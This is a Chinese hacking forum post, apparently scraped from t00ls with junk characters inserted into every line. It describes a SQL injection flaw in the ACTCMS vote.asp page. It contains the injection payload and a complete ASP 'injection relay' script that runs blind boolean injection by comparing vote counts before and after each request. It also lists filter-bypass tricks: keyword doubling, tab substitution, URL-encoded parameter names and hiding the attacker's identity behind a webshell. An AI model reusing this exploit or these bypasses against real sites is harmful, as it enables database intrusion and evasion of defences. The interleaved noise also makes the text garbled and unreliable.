! X4 z4 k- Y* \. H4 l) G
看到ninty大牛的blog的一篇文章
% E; \& k1 D, q9 p2 v9 W链接标记[url]http://www.forjj.com/?action=show&id=80[/url]& K9 h! x$ k8 L
关于actcms漏洞的利用 by 3x qq:381862589" U% T% u: j! N
转载请注明以上
( q. f1 L2 o# [+ z) B漏洞文件:
3 {0 ^( c+ f+ \# X* w# G/plus/vote/vote.asp( ? a+ j2 [0 [6 @, u4 r
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then ) r, s3 d! u2 L* g( ?2 E
' w; P/ u& G6 e. ]: o/ a2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
1 o5 i( W/ k! R; p) p
5 v) m% s3 ^- Y1 ]3 response.end ) E) f" N- y4 o( D4 n
F. D+ r7 Z/ [7 V! U% m
4 end if * N8 u7 D& J7 Y5 J0 t' x6 n$ b
. h" f' M& Y, y$ o( V1 ]8 M
5 for i=1 to request("voted").count + X6 p5 I! N" C j) H; x
' N- A; [3 h8 h* A6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
3 f( n0 j9 }- F$ I1 y2 o
+ H; P2 ^% s) e7 J: x0 b6 o- T7 next 1 t4 O9 X, A! d, k: o5 G
5 u. c8 l o+ l% ?3 b9 W
8....
8 g- C8 r# R3 v* v
5 I% W. L G# j( m% b9response.Redirect "index.asp?id="&id&"" * F8 K" Z! A( M- \- [. o# {
投票结束回跳转回index.asp这个投票结果页面/ e# D1 r4 J: s% v
如果投票成功票数加18 Q r# E/ ]7 e5 N
失败票数不变
I* c8 q2 j# N2 J7 U7 s如图: q1 W$ k% L0 r1 v
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)2 g% F6 B9 D1 H6 U. _+ q
- Y% a' c! e5 c2009-12-27 13:20
. y; T8 i1 S! ^8 |2 w' ^
( a" c9 R# k* y; d' H利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% Y. F3 j! i. j/ ?
! p$ J8 |! q4 _
本帖隐藏的内容需要回复才可以浏览/ f4 x. x' B0 d2 E& W* ~: Y( o2 V$ z/ P
我们用注入中转来实现这个注入具体代码如下:* }, C! q- u u9 ~: {% Z7 U. k
先用寂寞的刺猬大牛的注入中转生成jmget.asp7 z2 a+ l" u7 w1 Z0 S
注入地址:http://localhost/actcms/plus/vote/vote.asp
X F) U7 J1 z: F6 P5 X; I注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
5 K' A/ l. Y/ A+ |5 V1 {2 O, m# E9 V+ G+ Z/ B7 _" Z1 ?' j
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
. S, o0 C" `5 a9 M; H
/ L$ w5 I0 k0 d/ S: U6 X02JmdcwName=request("jmdcw")
8 R9 {( Z: }$ x9 Y0 ^( B% z K+ `$ j. C, ?& @
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
7 X/ ~+ p/ e# i( ?0 S
: I7 u0 W. c3 G% X% S' T04JmStr="id=1&voted=-1 or 1="&JmdcwName - h& i4 ^! r0 s) g, J' E* A
4 I% j- Y F; V) K* p( g* H
05JmStr=URLEncoding(JmStr) 0 V+ P2 }( h, W- E
" b6 N8 p' d5 `
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"' B3 ]) T( o: x% W7 T7 ]5 f
u% @5 e" X! g k9 k07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
9 E* Y& l7 Y0 P$ L& P$ Y5 P4 G
1 V: X; K6 k7 Q' o$ V' ?/ T08testurl=testurl & "?" & JmStr
7 w& D8 F; X5 W! K; X0 R
( w+ c1 A/ Q6 ?: S09JMUrl=JMUrl & "?" & JmStr
; }' Y& }: f* q% a" L' a+ P) \
7 R$ s- Y- g, z9 `10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"$ q+ k; Q8 t3 G$ F, m) o3 T
# }8 P3 V9 f" C4 Y4 h5 ^* f
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
3 Y& \- \0 e8 J
' {8 y) }' y; y) [# B12JmCok=replace(JmCok,chr(32),"%20")
: r2 P5 D _: h" p
- L; s$ b3 d9 t6 `* ~13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 7 x) e8 p$ e3 L# c: U6 O
7 u. U3 O9 E- D, `" n/ T
14
" R8 x1 M; C5 m9 l; S" n2 J$ B6 a- g1 j2 i
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
7 w. ?& l' y3 x* N3 x
4 R: `/ y9 f1 ?5 x: Q! j Z+ e16 0 X: Z8 l1 l3 @* o
1 A) f8 J9 ^# ^- j17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# z3 H* y3 E$ n3 e: G, M% w
8 {" o; L9 n7 k4 c. w; L6 J18response.write test1&""&test2&""6 P0 c# o; c6 `* _; i8 Y
+ K+ o1 q6 {1 v! i; f- X3 U5 m19 . s0 C7 F% T! }0 }
6 F* ~- z* c2 K3 p z20if test1=test2 then '如前后记录相等,表示失败
0 r4 i# M. T x5 i" p5 ^
! G0 g% g4 z, u ~) p$ S/ `2 I21 response.write "failed"# ?- K0 n' \! y# }) m4 o0 P$ r2 O/ I
6 A) `3 C: t9 k& z6 q4 {3 }22else . n f% `$ _5 r+ A: Q# W
; X' A+ S' U' [4 L% d- ?$ O23 response.write "succeed"
8 a: ^, T3 B) g7 k
) @6 H6 |( B/ e: W& R24end if
$ Y8 W" r9 x& k h, L# O; p8 v- b* n" s* T
25 * C- S. T- \/ W* x
' B# \: y8 ?+ ^) d$ \$ M
26response.write "by 3x"
3 Z& n( z, ^2 H- K$ |0 D, u7 Y. ]3 q+ E, [ B: x5 S3 N, ~0 R) p
27
) U% E% G* ]. m1 Z" p+ B8 ]8 Q2 k! I# M1 j+ O
28 % |2 L) D. @7 ^1 D4 o' o: k
% Y' T. ]- M# J, x* e- V4 V: _29Function PostData(PostUrl,PostStr,PostCok,PostRef) ( e9 j# X/ Y* Q0 i8 j. n$ t1 {" x
- Z# r3 ~7 o; P8 Z( K F- n y
30Dim Http
/ E- |. T k3 O: r+ I+ {8 o8 A6 O; }$ @& b
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
2 _; d, J' H+ o- U3 t6 ^2 b8 l+ |4 e9 \2 s6 f
32With Http
8 @( W* ^# y0 P b+ m" n! ~; a1 f, ]- r- g7 j* m) V
33 U9 {" H; C8 [& H! u
9 ~" u* z8 q& e, U9 @' s) w
34.Open "GET",PostUrl,False9 `3 y8 z5 r/ h
: B& G6 { y7 i! T" n1 {$ {5 Y: v& Y! r
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
( R4 e& Y: }, P( ~9 W
3 R5 K' C- P, _ s8 A3 J36.SetRequestHeader "Referer",PostRef ! k# O9 n8 z$ q0 P8 D3 ~! V" B' Z; _# L
- w6 G* R" p4 G: H/ c& \7 F( F( s3 {37.SetRequestHeader "Cookie",PostCok
* K/ l% B. E$ L1 B! \- j
) K; E( l' S7 Q; F6 c9 z; J38.Send ()
4 ^" C) M( t9 I! G- {3 z8 O) P
2 k, |# G( u) L) Z39PostData = .ResponseBody
+ t0 o J- V6 X% g. K, a" Q. d3 O) N! ], b$ V1 \
40End With
+ H# L3 v8 u+ O* i5 V" v: r/ f8 u
41Set Http = Nothing
8 C0 ]: J- b) [1 F6 S$ [
2 i) k7 P& O6 |) t/ ]; P, `, f42PostData =bytes2BSTR(PostData) + a& e% O( O( L x9 }
6 r9 u% C/ {4 V' B
43End Function9 m0 j9 q7 g! h0 l. L
- S9 u5 }- [8 j2 \$ |44 9 }1 _3 f5 X8 X9 \. O
- ]4 L+ n4 d) t% L$ r8 p, X
45
: ^2 x& r! r- t' d J
. w9 X* G' @- d3 G3 L# G46Function bytes2BSTR(vIn)
2 u( k+ i- r2 \: d0 y9 D
$ {7 P) r* j( l* T1 ~# V- Z. a47Dim strReturn / U# ~+ v; S. n w* ` g" ]
* N7 z9 X# y. L5 t
48Dim I, ThisCharCode, NextCharCode
9 {6 c5 y" D& @7 U; Q3 y/ L' \0 C3 s% ]* {
49strReturn = ""2 y+ `" Z0 q& D6 d' B; ?: \
9 C7 {7 l, f1 f2 P
50For I = 1 To LenB(vIn) 4 g/ J( T, r" ~8 n* @9 }7 v( g
3 J6 @' n3 V* w3 g- O, f51ThisCharCode = AscB(MidB(vIn, I, 1)) {; I: u0 c" N6 E4 p
7 ^, m# U' W- j5 I7 ?
52If ThisCharCode < &H80 Then5 P( F" e8 Q0 [: Q0 {+ c( s2 e
, s& j# ~3 q) b* u) b53strReturn = strReturn & Chr(ThisCharCode)
9 m, h! J4 a2 `! m1 D2 i- ]0 Y6 P' z
54Else: m# p5 k5 _6 O
* T! X; A$ | R+ K2 L
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 }' P8 T) X8 ?% ]; H! D+ I! r& `) I6 P7 b7 ?1 d
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
# \+ `8 i5 D# O3 y2 Z, O9 e2 O8 T4 x6 o$ W8 m
57I = I + 1 & y9 w7 G1 i' C" z S2 L/ u
7 i6 _0 o1 d* s( z! I( k58End If9 k% c3 X% s8 z5 m% |
9 n Q& H- T$ w& p59Next
4 J; ?- W) F6 B/ p5 d5 V* @4 r2 u$ I9 b6 `- J8 ]3 P
60bytes2BSTR = strReturn 0 m- L) c$ M; }1 S$ P
. k' b2 z- v+ b. |
61End Function, y- d! t1 d; Q2 ?
. G" A$ h$ Y2 |0 o62
G( S& G" K) g' u1 P' z- @9 p2 ?
; F1 L) s1 B, J8 k8 O63Function URLEncoding(vstrin)
/ C. n7 w7 u* a) P$ V# x
' b* g" e4 i6 m) t. B4 Q+ \. g7 m, y64strReturn=""- _6 u0 z7 J8 R% E, Y& g
) m0 M- z0 w0 t. J4 k% T2 m
65Dim i
1 q4 ~4 u, |2 R* t/ |2 p: ~1 L: f! c+ F
66For i=1 To Len(vstrin)
E6 S2 v$ b% b+ E6 j. `5 ^1 K8 T9 T" m
67ThisChr=Mid(vstrin,i,1)
5 Q3 f" b4 i' W$ P! o, @' A( h# B
) ~& ^+ f Z3 a" D; p! i6 N( y: T68if Abs(Asc(ThisChr))< &HFF Then5 m3 S4 S2 o: Y* Z
3 Z; G$ O& i# Q1 I' X! O: t
69strReturn=strReturn & ThisChr & g9 o; Z. [0 }. C C/ A, b; z4 f
$ @% m; p+ k+ |+ w: x0 d
70Else4 B% \4 V, A# B7 A$ N6 A
2 @$ E3 J. b# w# [/ h0 I71InnerCode=Asc(ThisChr) + l, z5 i) Q2 t* y: l( w$ O
* S$ n2 m+ n g+ C0 f
72If InnerCode<0 Then
2 }) p; m' i1 ?9 o7 ^" _/ k$ S7 a" `
73InnerCode=InnerCode + &H10000 % e* ^8 h' J% U* g) N1 A2 R' \" C4 o
, G4 o1 H' T1 y, }) u, `74End If, O0 h2 f6 P- w: ?8 U& e4 `
# l+ I. w8 A: C3 P' T+ @9 J( I3 R
75Hight1=(InnerCode And &HFF00) \&HFF 1 n$ i( F5 h7 a& w7 q7 N; C
* H: N' I: ~3 d- k9 Z' B1 w) C9 O
76Low1=InnerCode And &HFF
' V ?4 `1 I, W0 E% G8 f6 |) ^* f" a7 P E( b2 }/ I5 q7 B
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' S2 l8 o, z& d9 R2 ^$ C- a7 O
* O) Z2 C% u& _2 s# U78End if / {* W' f6 W! A$ G$ m8 N
6 f/ {5 ]4 Q+ ` }, F79Next
8 v/ B0 K. k) f4 @/ v( \9 Q0 n3 Z4 h& V s' m( U" B
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ! a. e. `( w0 Z% e3 j$ V! t
' ]" {! \+ M) w8 Y3 E81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
7 c9 V/ G+ G" }3 |; W" P1 L7 `7 @8 ]& r& m$ b8 j, d
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 $ z( E/ Q6 s$ \" [: V
( m) L; ?% L3 i0 y6 h; U3 o
83URLEncoding=strReturn ' g6 X9 m: {1 p; o5 ] u
4 A# A* o8 G6 _+ P$ B84End Function& _+ y+ b3 F9 N, C
" @2 i; Y+ O, `9 x+ K
85
% h( W9 _ o# q, J- w% a' c0 T) [4 w" `) M7 b% \6 S
86function getSt(body)
, Y' D+ _- V! r- p& e+ }
+ D" J" t2 F6 o2 R8 ? ~2 o87 startpot=instr(body,"投票人数:")+len("投票人数:")
- X" B; \: f7 W: W- C9 E8 a7 Q9 a
_ d3 ]% l0 q3 o, G0 X88 endpot=instr(startpot,body," ") ( z g& n7 L' U
5 }. |4 m% I8 d k: {1 @89 getSt=mid(body,startpot,endpot-startpot)
7 u( Z1 q# y) z3 x9 X2 k* {+ A# g* z1 {* k
90end function $ c s$ A8 C1 @ z" `7 @0 }4 y8 M3 x
, G! n+ K o) R& ?- g1 z- z91%>
7 ?! T5 v( ]% k9 r" S! k注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
- p6 _& ]5 ?& }1 W, K4 v测试下效果:" B# D8 a$ R7 T; _) ^
投票成功: D Q+ E' z! ?1 {
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB) x8 R+ `' K+ |- H9 S1 `
. r$ e9 w9 G: T4 M# e2 j6 j3 S2009-12-27 13:29- t% K% M5 c% o* q( S, }# N
投票失败9 T4 g( \, p, A2 X
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)! F( V9 H& y% E
% i0 f- T7 _* g: D! w3 v2009-12-27 13:29: N) ]3 Z( i& d" E
-------------------------------------------------------------------------------
6 `2 _' }: s s( d, U) \再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以, @9 k& L1 @# f* W6 v6 }
很抱歉。。。只能用单线程工具去注入。。。。。" B: ]/ N2 U: d/ P8 Z
所以失败。。。不好意思。。。
( s3 I' F* `& v( @* C* A-------------------------------------------------------------------------------
5 Z; Y& [+ N/ b4 }5 Q3 ?, u ^
# k2 V( `( r" _) d7 r6 U, H0 s注入中转的一些其他应用
1 w3 w: g/ i X其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& I, X- d" k! E( ?6 G$ _+ @1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id i* l6 e' k: @( A, @; \
2.post注入转成get型的注入,方便我们使用工具来跑5 R' z' f: u' s, k% O8 Y7 F$ h
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09") i7 p" F* I! l+ `( H' C8 j
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过' k0 _5 c7 V. L* F. p
5 p2 E# ?! J4 W+ p
|